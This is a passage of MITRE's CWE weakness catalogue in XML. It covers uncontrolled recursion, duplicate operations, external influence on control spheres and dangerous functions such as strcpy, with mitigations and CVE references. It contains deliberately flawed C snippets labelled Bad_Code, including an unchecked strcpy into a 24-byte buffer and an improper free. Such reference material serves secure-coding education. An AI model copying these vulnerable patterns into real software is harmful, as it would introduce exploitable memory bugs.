							              <Code>messageBody = (char*)malloc(length*sizeof(char));</Code>
							              <Code>messageBody = &amp;message[1][0];</Code>
							              <Code/>
							              <Code>int success = processMessageBody(messageBody);</Code>
							              <Code/>
							              <Code>if (success == ERROR) {</Code>
							              <Block>
								                <Code>result = ERROR;</Code>
								                <Code>logError("Error processing message", messageBody);</Code>
								                <Code>free(messageBody);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>...</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3547</Observed_Example_Reference>
					          <Observed_Example_Description>chain: race condition might allow resource to be
						released before operating on it, leading to NULL dereference
					</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Description, Name,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Observed_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2010-02-16">Use of a Resource after
						Expiration or Release</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="673" Name="External Influence of Sphere Definition" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The product does not prevent the definition of control spheres
					from external actors.</Description_Summary>
				        <Extended_Description>
					          <Text>Typically, a product defines its control sphere within the code itself, or
						through configuration by the product's administrator. In some cases, an
						external party can change the definition of the control sphere. This is
						typically a resultant weakness.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>664</Relationship_Target_ID>
					          <!--Improper Control of a Resource Through its Lifetime-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>361</Relationship_Target_ID>
					          <!--Time and State-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>Consider a blog publishing tool, which might have three explicit
						control spheres: the creation of articles, only accessible to a "publisher;"
						commenting on articles, only accessible to a "commenter" who is a registered
						user; and reading articles, only accessible to an anonymous reader. Suppose
						that the application is deployed on a web server that is shared with
						untrusted parties. If a local user can modify the data files that define who
						a publisher is, then this user has modified the control sphere. In this
						case, the issue would be resultant from another weakness such as
						insufficient permissions.</Intro_Text>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>In Untrusted Search Path (CWE-426), a user might be able to define
						the PATH environment variable to cause the product to search in the wrong
						directory for a library to load. The product's intended sphere of control
						would include "resources that are only modifiable by the person who
						installed the product." The PATH effectively changes the definition of this
						sphere so that it overlaps the attacker's sphere of control.</Intro_Text>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Theoretical_Notes>
				        <Theoretical_Note>
					          <Text>A "control sphere" is a set of resources and behaviors that are accessible
						to a single actor, or a group of actors. A product's security model will
						typically define multiple spheres, possibly implicitly. For example, a
						server might define one sphere for "administrators" who can create new user
						accounts with subdirectories under /home/server/, and a second sphere might
						cover the set of users who can create or delete files within their own
						subdirectories. A third sphere might be "users who are authenticated to the
						operating system on which the product is installed." Each sphere has
						different sets of actors and allowable behaviors.</Text>
				        </Theoretical_Note>
			      </Theoretical_Notes>
			      <Relevant_Properties>
				        <Relevant_Property>Mutability</Relevant_Property>
			      </Relevant_Properties>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes,
						Theoretical_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="674" Name="Uncontrolled Recursion" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The product does not properly control the amount of recursion
					that takes place, which consumes excessive resources, such as allocated memory
					or the program stack.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>834</Relationship_Target_ID>
					          <!--Excessive Iteration-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>361</Relationship_Target_ID>
					          <!--Time and State-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>730</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A9 - Denial of Service-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>892</Relationship_Target_ID>
					          <!--SFP Cluster: Resource Management-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Stack Exhaustion</Term>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(memory)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Resources including CPU, memory, and stack memory could be rapidly
							consumed or exhausted, eventually leading to an exit or crash.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>In some cases, an application's interpreter might kill a process or
							thread that appears to be consuming too much resources, such as with
							PHP's memory_limit setting. When the interpreter kills the
							process/thread, it might report an error containing detailed information
							such as the application's installation path.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Limit the number of recursive calls to a reasonable number.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-1285</Observed_Example_Reference>
					          <Observed_Example_Description>Deeply nested arrays trigger stack
						exhaustion.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-3409</Observed_Example_Reference>
					          <Observed_Example_Description>Self-referencing pointers create infinite loop and
						resultant stack exhaustion.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Affected_Resources>
				        <Affected_Resource>CPU</Affected_Resource>
			      </Affected_Resources>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Denial of Service</Mapped_Node_Name>
					          <Mapped_Node_ID>A9</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>82</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>99</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="675" Name="Duplicate Operations on Resource" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The product performs the same operation on a resource two or
					more times, when the operation should only be applied
					once.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>573</Relationship_Target_ID>
					          <!--Improper Following of Specification by Caller-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>586</Relationship_Target_ID>
					          <!--Explicit Call to Finalize()-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>102</Relationship_Target_ID>
					          <!--Struts: Duplicate Validation Forms-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>227</Relationship_Target_ID>
					          <!--Improper Fulfillment of API Contract ('API Abuse')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>743</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>877</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>892</Relationship_Target_ID>
					          <!--SFP Cluster: Resource Management-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This weakness is probably closely associated with other issues related to
						doubling, such as CWE-462 (duplicate key in alist) or CWE-102 (Struts
						duplicate validation forms). It's usually a case of an API contract
						violation (CWE-227).</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Relevant_Properties>
				        <Relevant_Property>Uniqueness</Relevant_Property>
			      </Relevant_Properties>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not simultaneously open the same file multiple
						times</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO31-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not simultaneously open the same file multiple
						times</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO31-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes,
						Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="676" Name="Use of Potentially Dangerous Function" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The program invokes a potentially dangerous function that could
					introduce a vulnerability if it is used incorrectly, but the function can also
					be used safely.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>865</Relationship_Target_ID>
					          <!--2011 Top 25 - Risky Resource Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>398</Relationship_Target_ID>
					          <!--Indicator of Poor Code Quality-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>738</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 04 - Integers (INT)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>743</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>746</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 12 - Error Handling (ERR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>872</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 04 - Integers (INT)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>877</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>887</Relationship_Target_ID>
					          <!--SFP Cluster: API-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This weakness is different than CWE-242 (Use of Inherently Dangerous
						Function). CWE-242 covers functions with such significant security problems
						that they can never be guaranteed to be safe. Some functions, if used
						properly, do not directly pose a security risk, but can introduce a weakness
						if not called correctly. These are regarded as potentially dangerous. A
						well-known example is the strcpy() function. When provided with a
						destination buffer that is larger than its source, strcpy() will not
						overflow. However, it is so often misused that some developers prohibit
						strcpy() entirely.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the function is used incorrectly, then it could result in security
							problems.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Build and Compilation</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Identify a list of prohibited API functions and prohibit developers
							from using these functions, providing safer alternatives. In some cases,
							automatic code analysis tools or the compiler can be instructed to spot
							use of prohibited functions, such as the "banned.h" include file from
							Microsoft's SDL. [R.676.1] [R.676.2]</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-6">
					          <Intro_Text>The following code attempts to create a local copy of a buffer to
						perform some manipulations to the data.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>void manipulate_string(char * string){</Code>
							              <Block>
								                <Code>char buf[24];</Code>
								                <Code>strcpy(buf, string);</Code>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, the programmer does not ensure that the size of the data
							pointed to by string will fit in the local buffer and blindly copies the
							data with the potentially dangerous strcpy() function. This may result
							in a buffer overflow condition if an attacker can influence the contents
							of the string parameter.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-1470</Observed_Example_Reference>
					          <Observed_Example_Description>Library has multiple buffer overflows using
						sprintf() and strcpy()</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3849</Observed_Example_Reference>
					          <Observed_Example_Description>Buffer overflow using
						strcat()</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-2114</Observed_Example_Reference>
					          <Observed_Example_Description>Buffer overflow using
						strcpy()</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-0963</Observed_Example_Reference>
					          <Observed_Example_Description>Buffer overflow using
						strcpy()</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2011-0712</Observed_Example_Reference>
					          <Observed_Example_Description>Vulnerable use of strcpy() changed to use safer
						strlcpy()</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5005</Observed_Example_Reference>
					          <Observed_Example_Description>Buffer overflow using
						strcpy()</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Local_Reference_ID="R.676.1">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Title>Security Development Lifecycle (SDL) Banned Function
						Calls</Reference_Title>
					          <Reference_Link>http://msdn.microsoft.com/en-us/library/bb288454.aspx</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-11" Local_Reference_ID="R.676.2">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 5, "Safe String Handling" Page 156,
						160</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7" Local_Reference_ID="R.676.3">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 8, "C String Handling", Page 388.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Dangerous Functions</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Prefer functions that support error checking over equivalent
						functions that don't</Mapped_Node_Name>
					          <Mapped_Node_ID>ERR07-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
